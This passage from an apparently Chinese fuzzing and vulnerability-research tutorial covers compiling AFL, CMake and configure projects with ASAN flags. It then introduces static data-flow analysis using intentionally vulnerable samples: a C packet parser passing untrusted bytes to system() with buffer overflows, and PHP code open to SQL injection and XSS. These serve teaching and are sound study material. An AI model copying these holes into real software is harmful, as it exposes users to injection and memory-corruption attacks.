-DBIN_PATH=\\\"$(BIN_PATH)\\\"\n#  ---=== 根据当前Linux 环境进行编译调整 ===---\nifneq \"$(filter Linux GNU%,$(shell uname))\" \"\"\n  LDFLAGS  += -ldl\nendif\n\nifeq \"$(findstring clang, $(shell $(CC) --version 2>/dev/null))\" \"\"\n  TEST_CC   = afl-gcc\nelse\n  TEST_CC   = afl-clang\nendif\n\nCOMM_HDR    = alloc-inl.h config.h debug.h types.h\n#  ---=== make 命令选择项目 ===---\n#  如果是make all ,那就调用到all: 这个地方开始,如果是make afl-gcc 就从afl-gcc 开始\n#  make all 这里包含afl-gcc afl-fuzz afl-showmap afl-tmin afl-gotcpu afl-analyze (注意看PROGS 环境变量中指定了内容)afl-as\n#  然后继续往下调用这些项目中指定的命令\nall: test_x86 $(PROGS) afl-as test_build all_done\n\nifndef AFL_NO_X86\n\ntest_x86:\n        @echo \"[*] Checking for the ability to compile x86 code...\"\n        @echo 'main() { __asm__(\"xorb %al, %al\"); }' | $(CC) -w -x c - -o .test || ( echo; echo \"Oops, looks like your compiler can't generate x86 code.\"; echo; echo \"Don't panic! You can use the LLVM or QEMU mode, but see docs/INSTALL first.\"; echo \"(To ignore this error, set AFL_NO_X86=1 and try again.)\"; echo; exit 1 )\n        @rm -f .test\n        @echo \"[+] Everything seems to be working, ready to compile.\"\n\nelse\n\ntest_x86:\n        @echo \"[!] Note: skipping x86 compilation checks (AFL_NO_X86 set).\"\n\nendif\n\nafl-gcc: afl-gcc.c $(COMM_HDR) | test_x86\n        $(CC) $(CFLAGS) $@.c -o $@ $(LDFLAGS)\n        set -e; for i in afl-g++ afl-clang afl-clang++; do ln -sf afl-gcc $$i; done\n\nafl-as: afl-as.c afl-as.h $(COMM_HDR) | test_x86\n        $(CC) $(CFLAGS) $@.c -o $@ $(LDFLAGS)\n        ln -sf afl-as as\n\nafl-fuzz: afl-fuzz.c $(COMM_HDR) | test_x86\n        $(CC) $(CFLAGS) $@.c -o $@ $(LDFLAGS)\n\nafl-showmap: afl-showmap.c $(COMM_HDR) | test_x86\n        $(CC) $(CFLAGS) $@.c -o $@ $(LDFLAGS)\n\nafl-tmin: afl-tmin.c $(COMM_HDR) | test_x86\n        $(CC) $(CFLAGS) $@.c -o $@ $(LDFLAGS)\n\nafl-analyze: afl-analyze.c $(COMM_HDR) | test_x86\n        $(CC) $(CFLAGS) $@.c -o $@ $(LDFLAGS)\n\nafl-gotcpu: afl-gotcpu.c $(COMM_HDR) | test_x86\n        $(CC) $(CFLAGS) $@.c -o $@ $(LDFLAGS)\n\nifndef AFL_NO_X86\n\ntest_build: afl-gcc afl-as afl-showmap\n        @echo \"[*] Testing the CC wrapper and instrumentation output...\"\n        unset AFL_USE_ASAN AFL_USE_MSAN; AFL_QUIET=1 AFL_INST_RATIO=100 AFL_PATH=. ./$(TEST_CC) $(CFLAGS) test-instr.c -o test-instr $(LDFLAGS)\n        echo 0 | ./afl-showmap -m none -q -o .test-instr0 ./test-instr\n        echo 1 | ./afl-showmap -m none -q -o .test-instr1 ./test-instr\n        @rm -f test-instr\n        @cmp -s .test-instr0 .test-instr1; DR=\"$$?\"; rm -f .test-instr0 .test-instr1; if [ \"$$DR\" = \"0\" ]; then echo; echo \"Oops, the instrumentation does not seem to be behaving correctly!\"; echo; echo \"Please ping <lcamtuf@google.com> to troubleshoot the issue.\"; echo; exit 1; fi\n        @echo \"[+] All right, the instrumentation seems to be working!\"\n\nelse\n\ntest_build: afl-gcc afl-as afl-showmap\n        @echo \"[!] Note: skipping build tests (you may need to use LLVM or QEMU mode).\"\n\nendif\n\nall_done: test_build\n        @if [ ! \"`which clang 2>/dev/null`\" = \"\" ]; then echo \"[+] LLVM users: see llvm_mode/README.llvm for a faster alternative to afl-gcc.\"; fi\n        @echo \"[+] All done! Be sure to review README - it's pretty short and useful.\"\n        @if [ \"`uname`\" = \"Darwin\" ]; then printf \"\\nWARNING: Fuzzing on MacOS X is slow because of the unusually high overhead of\\nfork() on this OS. Consider using Linux or *BSD. You can also use VirtualBox\\n(virtualbox.org) to put AFL inside a Linux or *BSD VM.\\n\\n\"; fi\n        @! tty <&1 >/dev/null || printf \"\\033[0;30mNOTE: If you can read this, your terminal probably uses white background.\\nThis will make the UI hard to read. See docs/status_screen.txt for advice.\\033[0m\\n\" 2>/dev/null\n\n.NOTPARALLEL: clean\n\nclean:\n        rm -f $(PROGS) afl-as as afl-g++ afl-clang afl-clang++ *.o *~ a.out core core.[1-9][0-9]* *.stackdump test .test test-instr .test-instr0 .test-instr1 qemu_mode/qemu-2.10.0.tar.bz2 afl-qemu-trace\n        rm -rf out_dir qemu_mode/qemu-2.10.0\n        $(MAKE) -C llvm_mode clean\n        $(MAKE) -C libdislocator clean\n        $(MAKE) -C libtokencap clean\n\ninstall: all\n        mkdir -p -m 755 $${DESTDIR}$(BIN_PATH) $${DESTDIR}$(HELPER_PATH) $${DESTDIR}$(DOC_PATH) $${DESTDIR}$(MISC_PATH)\n        rm -f $${DESTDIR}$(BIN_PATH)/afl-plot.sh\n        install -m 755 $(PROGS) $(SH_PROGS) $${DESTDIR}$(BIN_PATH)\n        rm -f $${DESTDIR}$(BIN_PATH)/afl-as\n        if [ -f afl-qemu-trace ]; then install -m 755 afl-qemu-trace $${DESTDIR}$(BIN_PATH); fi\nifndef AFL_TRACE_PC\n        if [ -f afl-clang-fast -a -f afl-llvm-pass.so -a -f afl-llvm-rt.o ]; then set -e; install -m 755 afl-clang-fast $${DESTDIR}$(BIN_PATH); ln -sf afl-clang-fast $${DESTDIR}$(BIN_PATH)/afl-clang-fast++; install -m 755 afl-llvm-pass.so afl-llvm-rt.o $${DESTDIR}$(HELPER_PATH); fi\nelse\n        if [ -f afl-clang-fast -a -f afl-llvm-rt.o ]; then set -e; install -m 755 afl-clang-fast $${DESTDIR}$(BIN_PATH); ln -sf afl-clang-fast $${DESTDIR}$(BIN_PATH)/afl-clang-fast++; install -m 755 afl-llvm-rt.o $${DESTDIR}$(HELPER_PATH); fi\nendif\n        if [ -f afl-llvm-rt-32.o ]; then set -e; install -m 755 afl-llvm-rt-32.o $${DESTDIR}$(HELPER_PATH); fi\n        if [ -f afl-llvm-rt-64.o ]; then set -e; install -m 755 afl-llvm-rt-64.o $${DESTDIR}$(HELPER_PATH); fi\n        set -e; for i in afl-g++ afl-clang afl-clang++; do ln -sf afl-gcc $${DESTDIR}$(BIN_PATH)/$$i; done\n        install -m 755 afl-as $${DESTDIR}$(HELPER_PATH)\n        ln -sf afl-as $${DESTDIR}$(HELPER_PATH)/as\n        install -m 644 docs/README docs/ChangeLog docs/*.txt $${DESTDIR}$(DOC_PATH)\n        cp -r testcases/ $${DESTDIR}$(MISC_PATH)\n        cp -r dictionaries/ $${DESTDIR}$(MISC_PATH)\n\npublish: clean\n        test \"`basename $$PWD`\" = \"afl\" || exit 1\n        test -f ~/www/afl/releases/$(PROGNAME)-$(VERSION).tgz; if [ \"$$?\" = \"0\" ]; then echo; echo \"Change program version in config.h, mmkay?\"; echo; exit 1; fi\n        cd ..; rm -rf $(PROGNAME)-$(VERSION); cp -pr $(PROGNAME) $(PROGNAME)-$(VERSION); \\\n          tar -cvz -f ~/www/afl/releases/$(PROGNAME)-$(VERSION).tgz $(PROGNAME)-$(VERSION)\n        chmod 644 ~/www/afl/releases/$(PROGNAME)-$(VERSION).tgz\n        ( cd ~/www/afl/releases/; ln -s -f $(PROGNAME)-$(VERSION).tgz $(PROGNAME)-latest.tgz )\n        cat docs/README >~/www/afl/README.txt\n        cat docs/status_screen.txt >~/www/afl/status_screen.txt\n        cat docs/historical_notes.txt >~/www/afl/historical_notes.txt\n        cat docs/technical_details.txt >~/www/afl/technical_details.txt\n        cat docs/ChangeLog >~/www/afl/ChangeLog.txt\n        cat docs/QuickStartGuide.txt >~/www/afl/QuickStartGuide.txt\n        echo -n \"$(VERSION)\" >~/www/afl/version.txt\nfcdeMacBook-Pro-2:afl-2.52b fc$ \n\n```\n\n  项目的编译过程和细节用Makefile 写好,`make` 命令的用意是提供自动处理并执行Makefile 中的编译指令来生成程序代码.\n\n\n### 针对平台生成Makefile  \n\n  Linux 系统衍生出了各种不同的版本,比如说Centos Ubuntu Android ,这些版本中可能会修改了内核和系统库的一些相关的数据结构或者运行环境.所以项目代码需要对这些各种不一样的Linux 系统进行预处理(查找系统库路径并引入,检查第三方依赖库版本等)然后生成Makefile .常用的方法有两种:\n\n\n#### cmake\n\n  判断一个项目中是否使用cmake ,我们看这个目录下是不是有CMakeLists.txt 文件,以evmjit (https://github.com/ethereum/evmjit)为例子:\n\n![](pic5/pic9.png)\n\n  我们进入项目代码目录来查看,每个代码目录都会存在CMakeLists.txt 文件.\n\n![](pic5/pic10.png)\n\n  回到项目根目录的CMakeLists.txt 文件来查看文件内容,分析如下:\n\n```cmake\n\nfcdeMacBook-Pro-2:evmjit fc$ cat CMakeLists.txt \ncmake_minimum_required(VERSION 3.4.0)  #  指定CMake 最低版本\n\ncmake_policy(SET CMP0042 OLD)   # Fix MACOSX_RPATH.\ncmake_policy(SET CMP0048 NEW)   # Allow VERSION argument in project().\nif (POLICY CMP0054)\n        cmake_policy(SET CMP0054 NEW)   # No longer implicitly dereference variables.\nendif()\n\nset(CMAKE_CONFIGURATION_TYPES Debug Release RelWithDebInfo)\n\nproject(EVMJIT VERSION 0.9.0.2 LANGUAGES CXX C)\n\nlist(APPEND CMAKE_MODULE_PATH \"${CMAKE_CURRENT_LIST_DIR}/cmake\")\n\nmessage(STATUS \"EVM JIT ${EVMJIT_VERSION_MAJOR}.${EVMJIT_VERSION_MINOR}.${EVMJIT_VERSION_PATCH}\")\n\nif (NOT ${CMAKE_SYSTEM_PROCESSOR} MATCHES \"x86_64|AMD64\")  #  判断当前平台的CPU 架构是不是intel/AMD 64 位\n        message(FATAL_ERROR \"Target ${CMAKE_SYSTEM_PROCESSOR} not supported -- EVM JIT works only on x86_64 architecture\")\nendif()\n\noption(EVMJIT_EXAMPLES \"Generate build targets for the EVMJIT examples\" OFF)  #  自定义CMake 编译选项\noption(EVMJIT_TESTS \"Create targets for CTest\" OFF)\n\nset_property(GLOBAL PROPERTY USE_FOLDERS ON)\n\nif (CMAKE_CXX_COMPILER_ID STREQUAL \"MSVC\")  #  Windows 平台编译需要引入的编译参数\n        # Always use Release variant of C++ runtime.\n        # We don't want to provide Debug variants of all dependencies. Some default\n        # flags set by CMake must be tweaked.\n        string(REPLACE \"/MDd\" \"/MD\" CMAKE_CXX_FLAGS_DEBUG ${CMAKE_CXX_FLAGS_DEBUG})\n        string(REPLACE \"/D_DEBUG\" \"\" CMAKE_CXX_FLAGS_DEBUG ${CMAKE_CXX_FLAGS_DEBUG})\n        string(REPLACE \"/RTC1\" \"\" CMAKE_CXX_FLAGS_DEBUG ${CMAKE_CXX_FLAGS_DEBUG})\n        set_property(GLOBAL PROPERTY DEBUG_CONFIGURATIONS OFF)\nelse()                                      #  Linux / macOS 编译需要引入的编译参数\n        set(CMAKE_CXX_FLAGS \"-std=c++11 -Wall -Wextra -Wconversion -Wno-sign-conversion -Wno-unknown-pragmas ${CMAKE_CXX_FLAGS}\")\nendif()\n\nif (CMAKE_SYSTEM_NAME STREQUAL \"Linux\" AND NOT SANITIZE)\n        # Do not allow unresolved symbols in shared library (default on linux)\n        # unless sanitizer is used (sanity checks produce unresolved function calls)\n        set(CMAKE_SHARED_LINKER_FLAGS \"-Wl,--no-undefined\")\nendif()\n\ninclude(ProjectLLVM)\nconfigure_llvm_project()\n\nadd_subdirectory(evmc)  #  添加代码目录\n\nadd_subdirectory(libevmjit)  #  添加代码目录\n\nif (EVMJIT_TESTS)\n        enable_testing()\n        add_subdirectory(tests)\nendif()\n\n```\n\n  我们再来看看`libevmjit` 目录下的CMakeLists.txt 文件内容,这里指明的是如何对各个文件进行编译命令生成和引入依赖文件代码:\n\n```cmake\n\nfcdeMacBook-Pro-2:libevmjit fc$ cat CMakeLists.txt \nget_filename_component(EVMJIT_INCLUDE_DIR ../include ABSOLUTE)\n\nset(SOURCES     #  添加编译文件\n        JIT.cpp                         JIT.h\n        Arith256.cpp            Arith256.h\n        Array.cpp                       Array.h\n        BasicBlock.cpp          BasicBlock.h\n        Cache.cpp                       Cache.h\n                                                Common.h\n        Compiler.cpp            Compiler.h\n        CompilerHelper.cpp      CompilerHelper.h\n        Endianness.cpp          Endianness.h\n        ExecStats.cpp           ExecStats.h\n        Ext.cpp                         Ext.h\n        GasMeter.cpp            GasMeter.h\n        Instruction.cpp         Instruction.h\n        Memory.cpp                      Memory.h\n        Optimizer.cpp           Optimizer.h\n        RuntimeManager.cpp      RuntimeManager.h\n        Type.cpp                        Type.h\n        Utils.cpp                       Utils.h\n)\nsource_group(\"\" FILES ${SOURCES})\n\nif(CMAKE_CXX_COMPILER_ID STREQUAL \"MSVC\")  #  判断Windows 平台\nelse()\n        set(CMAKE_CXX_FLAGS \"${CMAKE_CXX_FLAGS} -fno-rtti -fvisibility=hidden\")\n        if(CMAKE_SYSTEM_NAME STREQUAL \"Linux\")\n                set(CMAKE_SHARED_LINKER_FLAGS \"${CMAKE_SHARED_LINKER_FLAGS} -Wl,--exclude-libs,ALL\") # Do not export symbols from dependies, mostly LLVM libs\n        endif()\nendif()\n\n\nstring(COMPARE EQUAL \"${LLVM_ENABLE_ASSERTIONS}\" \"ON\" LLVM_DEBUG)\nconfigure_file(BuildInfo.h.in ${CMAKE_CURRENT_BINARY_DIR}/gen/BuildInfo.gen.h)\n\nadd_library(evmjit ${SOURCES} gen/BuildInfo.gen.h)\n# Explicit dependency on llvm to download LLVM header files.\nadd_dependencies(evmjit LLVM::JIT)  #  添加依赖文件\nget_target_property(LLVM_COMPILE_DEFINITIONS LLVM::JIT INTERFACE_COMPILE_DEFINITIONS)\nif (LLVM_COMPILE_DEFINITIONS)\n        target_compile_definitions(evmjit PRIVATE ${LLVM_COMPILE_DEFINITIONS})\nendif()\nget_target_property(LLVM_INCLUDE_DIRECTORIES LLVM::JIT INTERFACE_INCLUDE_DIRECTORIES)\ntarget_include_directories(evmjit SYSTEM PRIVATE ${LLVM_INCLUDE_DIRECTORIES})  #  添加头文件目录\ntarget_include_directories(evmjit PRIVATE ${CMAKE_CURRENT_BINARY_DIR}/gen)\ntarget_include_directories(evmjit PUBLIC ${EVMJIT_INCLUDE_DIR})\n\ninclude(GNUInstallDirs)\ninstall(TARGETS evmjit\n                RUNTIME DESTINATION ${CMAKE_INSTALL_BINDIR}\n                LIBRARY DESTINATION ${CMAKE_INSTALL_LIBDIR}\n                ARCHIVE DESTINATION ${CMAKE_INSTALL_LIBDIR})\ninstall(DIRECTORY ${EVMJIT_INCLUDE_DIR}/\n                DESTINATION ${CMAKE_INSTALL_INCLUDEDIR})\n\n\n# When building static lib add additional target evmjit-standalone --\n# an archive containing all LLVM dependencies in a single file.\nget_target_property(_evmjit_type evmjit TYPE)\nif (_evmjit_type STREQUAL STATIC_LIBRARY)\n        get_link_libraries(EVMJIT_LINK_LIBRARIES evmjit)\n        set(EVMJIT_STANDALONE_FILE ${CMAKE_STATIC_LIBRARY_PREFIX}evmjit-standalone${CMAKE_STATIC_LIBRARY_SUFFIX})\n        if (MSVC)\n          #  ...\n        elseif (APPLE)\n                add_custom_command(OUTPUT ${EVMJIT_STANDALONE_FILE}  #  组装编译命令\n                                                   COMMAND libtool -static -o ${EVMJIT_STANDALONE_FILE} $<TARGET_FILE:evmjit> ${EVMJIT_LINK_LIBRARIES}\n                                                   VERBATIM)\n                add_custom_target(evmjit-standalone DEPENDS ${EVMJIT_STANDALONE_FILE})\n                install(FILES ${CMAKE_CURRENT_BINARY_DIR}/${EVMJIT_STANDALONE_FILE} DESTINATION ${CMAKE_INSTALL_LIBDIR} OPTIONAL)\n        elseif (CMAKE_AR)\n          #  ...\n        endif()\nendif()\n\n```\n\n  CMake 的原理是,通过项目根目录的CMakeLists.txt 包含各子目录的CMakeLists.txt ,引入各种依赖目录和各平台的编译参数,最后生成一个Makefile .我们在项目的根目录使用`cmake .` 让cmake 对CMakeLists.txt 进行Makefile 生成.结果如下:\n\n![](pic5/pic11.png)\n\n  `cmake .` 的意思是,`.` 是指从当前目录的CMakeLists.txt 开始进行遍历,并生成数据对应的Makefile ,CMakeFiles 和CMakeCache.txt 到当前目录.使用了`cmake .` 来生成编译文件的话,那么各个子目录中也会生成出CMakeFiles 和CMakeCache.txt ,如果以后要发布代码或者添加新的依赖库和编译指令,那还需要对各个目录的CMakeFiles 和CMakeCache.txt 进行文件删除.所以正确的使用方式是先在项目根目录下`mkdir build` 创建新的build 目录,然后`cd build` 进入目录,接下来`cmake ..` 进行编译文件生成.\n\n![](pic5/pic12.png)\n\n  然后执行`make` 命令就可以利用cmake 生成的编译文件进行编译了,结果如下:\n\n![](pic5/pic13.png)\n\n  make 程序默认是使用单线程对项目进行编译,但是对于这种要编译很多文件的项目来说这样就太慢了.make 命令有一个-j 参数,它的意义在于启用多个线程进行编译,`make -j8` 就是启用8 个线程.因为我的机器比较牛逼,所以用`make -j12` 启用12 个线程来跑.\n\n![](pic5/pic14.png)\n\n  提示,如果需要在编译过程中修改不同的编译参数时,把CMakeFiles 和CMakeCache.txt 文件都要删除重新进行cmake 操作.这个时候用build 目录存放CMake 生成文件的方便之处就体现出来了,只需要把build 目录删除重新创建即可,如果直接在根目录下cmake . 的话,各个代码目录都有CMakeFiles 和CMakeCache.txt ,假若删除的操作不当,可能会把项目代码文件给误删(如果是用命令rm -rf CMake* ,那么就会误删CMakeLists.txt ).\n\n\n#### configure\n\n  判断一个项目中是否使用configure ,我们看这个目录下是不是有configure 文件,php-src (https://github.com/php/php-src)为例子:\n\n![](pic5/pic15.png)\n\n  使用configure 很简单,直接在目录下执行`./configure` 即可生成Makefile 文件\n\n![](pic5/pic16.png)\n\n\n### 编译参数引入\n\n  我们在希望在编译的过程中引入一些编译的参数,可以在两个地方引入.生成Makefile 阶段和make 阶段\n\n\n#### 生成Makefile 阶段\n\n  在使用./configure 生成Makefile 的时候,可以在./configure 的后面添加入编译器的参数,如果要使用指定的编译器来编译,我们可以这么来写:\n\n```shell\n\n./configure CC=clang CXX=clang++\n\n```\n\n  其中,`CC=clang` 是指选择clang 作为C 编译器,`CXX=clang++` 作为C++ 编译器.如果希望使用afl 来跑Fuzzing 程序的话,第一步就需要在./configure 阶段指定编译器为afl 编译器,不使用afl 作为编译器的话,那么就无法对程序进行代码插桩(afl-fuzz 只是一个server ,传递和生成数据给被fuzzing 程序执行,被fuzzing 的程序在编译阶段就已经由afl-clang afl-gcc 这些编译器进行插桩代码).\n\n```shell\n\n./configure CC=afl-clang CXX=afl-clang++\n\n```\n\n  选择好编译器之后,我们希望编译时启用ASAN ,那么就需要在CFLAGS CXXFLAGS 中指定参数,启用ASAN 的参数是`-fsanitize=address` ,构造的编译生成命令如下:\n\n```shell\n\n./configure CC=clang CXX=clang++ CFLAGS=\"-fsanitize=address\" CXXFLAGS=\"-fsanitize=address\"\n\n```\n\n  如果希望在此基础上引入三级代码优化和带GCC 版本函数符号编译,那么可以这样写\n\n```shell\n\n./configure CC=clang CXX=clang++ CFLAGS=\"-fsanitize=address -O3 -g\" CXXFLAGS=\"-fsanitize=address -O3 -g\"\n\n```\n\n  读者会注意到,为什么要同时指定C 和C++ 版本的编译器和编译参数呢?因为有些项目会同时存在C 和C++ 代码,所以我们在此需要同时指定一样的编译器和编译参数,以免在make 阶段因为两个版本的编译器的编译结果不符合导致链接时发生异常.\n\n  除此之外,有时候还需要指定引入依赖库的名字和地址,我们需要在LDFLAGS 中指定(这些库必须是由lib 字符做前缀的,然后在引入的时候需要-lxxx 导入库名字,小心注意这个坑)\n\n```shell\n\n./configure CC=clang CXX=clang++ LDFLAGS=\"-lm -lz\"\n\n```\n\n  如果要指定包含文件的目录和库目录,那么就这样写(-I 是指定头文件目录,-L 是指定库文件目录)\n\n```shell\n\n./configure CC=clang CXX=clang++ CFLAGS=\"-I /usr/local/xxx -L /usr/local/xxx \"\n\n```\n\n  对于CMake 来说,就不能使用像./configure 这样的方式来填写编译参数了.注意我们需要在参数前面添加-D 前缀,cmake 的自定义参数和./configure 稍有不同,举个例子\n\n```shell\n\ncmake .. -DCMAKE_C_COMPILER=clang -DCMAKE_CXX_COMPILER=clang++ -DCMAKE_C_FLAGS=\"-fsanitize=address\" -DCMAKE_CXX_FLAGS=\"-fsanitize=address\"\n\n```\n\n  有时候在cmake 用参数设置编译器会失效,那就需要手工在CMakeLists.txt 中指定编译器,代码如下:\n\n```cmake\n\nset(CMAKE_C_COMPILER \"/usr/local/gcc\")\nset(CMAKE_CXX_COMPILER \"/usr/local/g++\")\n\n```\n\n#### make 阶段\n\n  在make 引入数据的方式和./configure 是一样的\n\n```shell\n\nmake CC=clang CXX=clang++ LDFLAGS=\"-lm -lz\"\n\n```\n\n  但是在make 阶段中和./configure ,cmake 不同之处是还会根据环境变量来获取一些相关的数据来指定编译过程.以AFL 作为例子,我们知道,在编译过程中是不能直接指定CC=afl-clang 然后CFLAGS=-fsanitize=address 来引入ASAN 的,此时AFL 会报错提示,正确的操作方式是先在./configure 阶段指定好afl-clang ,然后在make 阶段这么操作\n\n```shell\n\nAFL_USE_ASAN=1 make\n\n```\n\n  此时环境变量AFL_USE_ASAN 的值就会设置为1 ,AFL 根据这个值来自行构造编译命令给clang/gcc 来执行编译.所以,有些参数是需要在命令中传递的,有一些则是通过环境变量传递的,具体问题具体分析.\n\n\n### 缺少系统依赖库\n\n  在编译项目的过程中,可能会遇到缺少依赖库(这些库可能是头文件或者库文件).所以就需要我们来手工引入这些文件,以编译EOS 为例子.\n\n  笔者在cmake 时因为libboost 库版本过低,所以需要重新安装.\n\n![](pic5/pic17.png)\n\n  到boost 官网下载1.69.0 代码库到本地,直接用wget 命令就可以保存文件到当前目录.\n\n![](pic5/pic18.png)\n\n  下载成功之后,使用`tar -xvf boost_1_69_0.tar.gz` 即可解压到当前目录.然后进入目录开始编译:\n\n![](pic5/pic19.png)\n\n  boost 库的编译步骤和之前的方式有些不同,它是自己构造好了一个脚本让用户调用部署,cd 到这个目录可以看到`bootstrap.sh` 脚本,直接运行即可.\n\n![](pic5/pic20.png)\n\n  `bootstrap.sh` 脚本提示我们执行`./b2` 脚本,于是继续执行`./b2` 脚本,boost 库就能够自动编译了.\n\n![](pic5/pic21.png)\n\n  等待编译完成.\n\n![](pic5/pic22.png)\n\n  接下来,我们使用`sudo ./b2 install` 来安装boost 库.\n\n![](pic5/pic23.png)\n\n  现在cmake .. 可以找到一些boost 库,但是boost 库版本版本还是没有被识别到.\n\n![](pic5/pic24.png)\n\n  注意cmake 的提示,它是在`/usr/include` 目录中寻找boost 库的,于是先来`ls /usr/include` 查看一下头文件.\n\n![](pic5/pic25.png)\n\n  我们回过头来看看`sudo ./b2 install` 到底安装到了哪个位置,可以发现编译之后的头文件安装到了`/usr/local/include` 目录.\n\n![](pic5/pic26.png)\n\n  然后我们来操作一波`rm -rf + cp`,把`/usr/local/include` 中的新编译的内容移动到`/usr/include` 中.\n\n![](pic5/pic27.png)\n\n  重新cmake 项目,发现cmake 输出了我们安装的新版boost 库的版本.\n\n![](pic5/pic28.png)\n\n  往下发现,cmake 发现系统缺少了libusb-1.0 和libcurl 库,所以需要安装它,因为当前的环境是ubuntu ,于是使用`apt install` 就能很方便地安装;如果在mac 下,那就需要用`brew install` ,注意brew 安装的库还需要自己手工调节环境变量PATH ,让安装好的库程序能够被找到.\n\n![](pic5/pic29.png)\n\n  在命令窗口中输入`sudo apt install libusb` 加`TAB` 键,apt 命令就会列举出来很多和libusb 相关的程序.\n\n![](pic5/pic30.png)\n\n  如果是编译过程中缺少了库,需要我们去安装的话,建议安装xxx-dbg 版的库程序.因为本次cmake .. 缺少的版本是libusb-1.0 库,所以需要用apt 安装libusb-1.0-dev 库.输入`sudo apt install libusb-1.0-0-dev` 下载libusb 库.\n\n![](pic5/pic31.png)\n\n  重新cmake 项目,此时cmake 可以识别到libusb-1.0 库了.\n\n![](pic5/pic32.png)\n\n  接下来使用同样的方法来安装libcurl 库.\n\n![](pic5/pic33.png)\n\n  发现cmake 并没有成功识别,然后我们继续看看apt 有哪些库程序可以下载.\n\n![](pic5/pic34.png)\n\n  我们注意这个`libcurl4-openssl-dev` .\n\n![](pic5/pic35.png)\n\n  因为eos 是依赖openssl 的,猜测是不是需要curl 也引入openssl ,继续安装这个库.\n\n![](pic5/pic36.png)\n\n  重新cmake 项目,此时cmake 可以识别到libcurl 库了并生成Makefile 了.接下来就是一边编译一边摸鱼的快乐时光了,哈哈哈..\n\n![](pic5/pic37.png)\n\n\n### 总结\n\n  本章前本段的编译知识着重于介绍一些编译相关知识,了解这些知识在后面中编写更强力的Fuzzer 中会使用到.后半段着重于实战环境中的Linux 下的编译过程,这里提到的一些编译参数的设置方法在使用第三方编译工具时经常会遇到知识,避坑的方法大概是:引入库文件,头文件/强制修改编译器等等,具体问题按场景具体分析.\n"
  },
  {
    "path": "6.静态程序分析原理.md",
    "content": "\n\n## 必备工具\n\n  Python ,cparser (https://github.com/tscosine/cparser/) \n\n## 静态代码分析基本原理\n\n  静态代码分析是基于有源码的情况下根据已有的规则来匹配源码中是否可能存在漏洞.对于漏洞规则,我们一般分为两种情况:二进制语言和脚本解析语言.为什么要这么样来区分呢?这是因为脚本解析语言绝大部分的漏洞是没有过滤用户的输入,使得用户的输入传递到了敏感函数中执行(比如SQL 注入,反序列化,远程命令执行的原理等),有少部分的漏洞是因为语言本身的特性而导致的.但是二进制语言(C/C++/go)除了前面所述的逻辑,最难的一点是计算程序内存区域是否会出现异常情况(也就是二进制漏洞中常见的UaF ,OOB 等),用静态代码分析比较难发现这些隐藏的漏洞.所以我们先从简单的来说起,相信做过PHP 白盒审计的读者们都知道Seay源码审计助手,这个工具的原理就是通过正则表达式在代码文本中匹配相应的规则,然后生成漏洞报告.\n\n![](pic6/pic1.jpeg)\n\n  Seay源码审计助手只定位到代码调用敏感函数的位置,但是并没有对参数进行相应的校验,比如说对代码`include  $Dir . \"/test.php\";` 的检测,假设`$Dir = \"/var/www/\";` ,审计助手也是依旧识别为可能存在文件包含漏洞,其实`$Dir` 的值是固定的,只需要跟踪这个值就可以知道它是不可控的变量.\n\n  我们再来看一下fortity SCA ,fortify 对项目扫描除了匹配漏洞之外,还会根据程序的逻辑和函数交叉引用来绘制程序时序图表.接下来我们来了解一些静态代码分析的基本原理.\n\n![](pic6/pic2.png)\n\n### 数据流跟踪\n\n  我们先来一段示例代码:\n\n```c\n\n#include <malloc.h>\n#include <memory.h>\n#include <stdlib.h>\n#include <stdio.h>\n\n\nenum {\n  MessageType_Hello = 0,\n  MessageType_Execute,\n  MessageType_Data\n};\n\nvoid execute_command(const unsigned char* command) {\n    system(command);\n}\n\nvoid decrypt_data(const unsigned char* data_buffer,unsigned char data_buffer_length) {\n    unsigned char* buffer[8] = {0};\n    \n    for (unsigned int data_index = 0;data_index < data_buffer_length;++data_index)\n        buffer[data_index] = data_buffer[data_index] ^ 0x65;\n    \n    printf(\"Recv:%s\\n\",&buffer);\n}\n\nint buffer_resolver(const unsigned char* buffer) {\n    unsigned char buffer_length = buffer[0];\n    \n    if (2 <= buffer_length)\n        return 0;\n    \n    if (MessageType_Hello == buffer[1]) {\n        printf(\"Hello\\n\");\n    } else if (MessageType_Execute == buffer[1]) {\n        unsigned char* command_buffer = (unsigned char*)malloc(buffer_length - 1);\n        \n        memset(&command_buffer,0,buffer_length);\n        memcpy(&command_buffer,&buffer[2],buffer_length - 2);\n        \n        execute_command(command_buffer);\n    } else if (MessageType_Data == buffer[1]) {\n        decrypt_data(&buffer[2],buffer_length - 2);\n    }\n    \n    return 1;\n}\n\n```\n\n  这是一段简单的解析数据包的示例代码,可以看到入口点`buffer_resolver()` 函数提供了一个buffer 参数供外部调用,接下来程序逻辑就针对这个buffer 的内容进行解析然后做进一步的处理.数据流跟踪的意义在于,对一个特定的变量或者参数进行数据流分析,找到这个变量或者参数的来源是否为可控的.\n\n  我们把`buffer_resolver()` 的代码抽象成数据流图.\n\n![](pic6/pic3.png)\n\n  现在我们可以很清楚地了解到`buffer_resolver()` 中的数据流过程.图表中绿色代表函数的参数输入,紫色线代表读数据,蓝色线代表写数据,红色线是传递该内容到函数中调用,在标注线的内容中也提到了如何操作数据和操作的位置.在我们做白盒分析代码的时候,一般是定位到敏感函数的位置再做数据流分析.上面的数据流图是**从上往下**分析的,但是如果要对敏感函数的参数进行溯源分析,此时就是要构画一个**从下往上**的数据流图分析.我们的规则匹配到`execute_command()` ,然后从第一个参数开始往上跟踪,可以得到图表如下:\n\n![](pic6/pic4.png)\n\n  有了这张粗略的从数据流回溯图,我们很容易就能看到`execute_command()` 的参数受到哪些地方影响.所以,**当我们定位到某个规则的时候,需要找到能够影响参数的内容,就需要从下往上(从敏感参数开始向上搜索)来对数据流进行回溯;当我们从数据输入位置开始搜索它能影响到哪些变量和参数,就需要从上往下(从可控输入开始向下搜索)对数据进行跟踪**.再举个简单的PHP 例子:\n\n```php\n\n<?php\n    \n    $user_id = $_GET['id'];\n\n    $user_name = sql_query('SELECT user_name FROM user WHERE uid = ' . $user_id);\n\n    echo 'Hello : ' . $user_name . ' Uid(' . $user_id . ')';\n    \n?>\n\n```\n\n  对$_GET['id'] 进行数据跟踪,可以发现两个漏洞问题:SQL 注入和XSS .\n\n![](pic6/pic5.png)\n\n  对`sql_query()` 进行漏洞规则,我们可以看到在拼接字符串阶段直接把`$user_id` 引入到`sql_query()` 的参数中.\n\n![](pic6/pic6.png)\n\n  对echo 的搜索方式也是一样的原理,限于篇幅此处省略.\n\n  下面使用Python 来对示例C++ 代码实现分析.用到https://github.com/tscosine/cparser/ 来解析C++ 代码成AST 